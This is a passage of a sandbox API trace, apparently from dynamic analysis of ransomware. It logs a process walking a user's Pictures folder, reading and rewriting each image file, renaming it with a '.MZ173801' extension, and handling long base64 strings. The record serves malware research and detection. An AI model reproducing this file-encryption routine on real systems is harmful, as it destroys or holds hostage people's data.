dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.791] ReadFile (in: hFile=0x280, lpBuffer=0x714510, nNumberOfBytesToRead=0x13af9, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x13af9, lpOverlapped=0x0) returned 1 [0122.792] CloseHandle (hObject=0x280) returned 1 [0122.794] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\HoMGKUXklaWv Dlr.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\homgkuxklawv dlr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.796] WriteFile (in: hFile=0x280, lpBuffer=0x728540*, nNumberOfBytesToWrite=0x13af9, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x728540*, lpNumberOfBytesWritten=0x18f6d0*=0x13af9, lpOverlapped=0x0) returned 1 [0122.798] CloseHandle (hObject=0x280) returned 1 [0122.800] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\HoMGKUXklaWv Dlr.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\homgkuxklawv dlr.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\HoMGKUXklaWv Dlr.gif.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\homgkuxklawv dlr.gif.mz173801")) returned 1 [0122.801] GetCurrentThreadId () returned 0x9fc [0122.801] GetCurrentThreadId () returned 0x9fc [0122.801] GetCurrentThreadId () returned 0x9fc [0122.801] GetCurrentThreadId () returned 0x9fc [0122.801] GetCurrentThreadId () returned 0x9fc [0122.801] GetCurrentThreadId () returned 0x9fc [0122.801] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f9e860, ftCreationTime.dwHighDateTime=0x1d5e367, ftLastAccessTime.dwLowDateTime=0x69d81380, ftLastAccessTime.dwHighDateTime=0x1d5deab, ftLastWriteTime.dwLowDateTime=0x69d81380, ftLastWriteTime.dwHighDateTime=0x1d5deab, nFileSizeHigh=0x0, nFileSizeLow=0x172a5, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="i0jXfoc7a.bmp", cAlternateFileName="I0JXFO~1.BMP")) returned 1 [0122.801] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.801] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.801] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\i0jXfoc7a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\i0jxfoc7a.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f9e860, ftCreationTime.dwHighDateTime=0x1d5e367, ftLastAccessTime.dwLowDateTime=0x69d81380, ftLastAccessTime.dwHighDateTime=0x1d5deab, ftLastWriteTime.dwLowDateTime=0x69d81380, ftLastWriteTime.dwHighDateTime=0x1d5deab, nFileSizeHigh=0x0, nFileSizeLow=0x172a5)) returned 1 [0122.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x7a06cc, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.805] GetCurrentThreadId () returned 0x9fc [0122.805] GetCurrentThreadId () returned 0x9fc [0122.805] GetCurrentThreadId () returned 0x9fc [0122.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x71566c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.806] GetCurrentThreadId () returned 0x9fc [0122.806] GetCurrentThreadId () returned 0x9fc [0122.806] GetCurrentThreadId () returned 0x9fc [0122.806] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\i0jXfoc7a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\i0jxfoc7a.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.806] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.806] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.806] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x172a5 [0122.806] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.806] ReadFile (in: hFile=0x280, lpBuffer=0x71c870, nNumberOfBytesToRead=0x172a5, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f6c4*=0x172a5, lpOverlapped=0x0) returned 1 [0122.808] CloseHandle (hObject=0x280) returned 1 [0122.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\i0jXfoc7a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\i0jxfoc7a.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.812] WriteFile (in: hFile=0x280, lpBuffer=0x7348a0*, nNumberOfBytesToWrite=0x172a5, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7348a0*, lpNumberOfBytesWritten=0x18f6d0*=0x172a5, lpOverlapped=0x0) returned 1 [0122.815] CloseHandle (hObject=0x280) returned 1 [0122.817] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\i0jXfoc7a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\i0jxfoc7a.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\i0jXfoc7a.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\i0jxfoc7a.bmp.mz173801")) returned 1 [0122.818] GetCurrentThreadId () returned 0x9fc [0122.818] GetCurrentThreadId () returned 0x9fc [0122.818] GetCurrentThreadId () returned 0x9fc [0122.818] GetCurrentThreadId () returned 0x9fc [0122.818] GetCurrentThreadId () returned 0x9fc [0122.818] GetCurrentThreadId () returned 0x9fc [0122.818] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf26790e0, ftCreationTime.dwHighDateTime=0x1d5e2b1, ftLastAccessTime.dwLowDateTime=0xb0119080, ftLastAccessTime.dwHighDateTime=0x1d5d8e1, ftLastWriteTime.dwLowDateTime=0xb0119080, ftLastWriteTime.dwHighDateTime=0x1d5d8e1, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="IkmZeMY2n.jpg", cAlternateFileName="IKMZEM~1.JPG")) returned 1 [0122.818] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.818] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.818] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\IkmZeMY2n.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\ikmzemy2n.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf26790e0, ftCreationTime.dwHighDateTime=0x1d5e2b1, ftLastAccessTime.dwLowDateTime=0xb0119080, ftLastAccessTime.dwHighDateTime=0x1d5d8e1, ftLastWriteTime.dwLowDateTime=0xb0119080, ftLastWriteTime.dwHighDateTime=0x1d5d8e1, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d)) returned 1 [0122.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x7a06cc, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 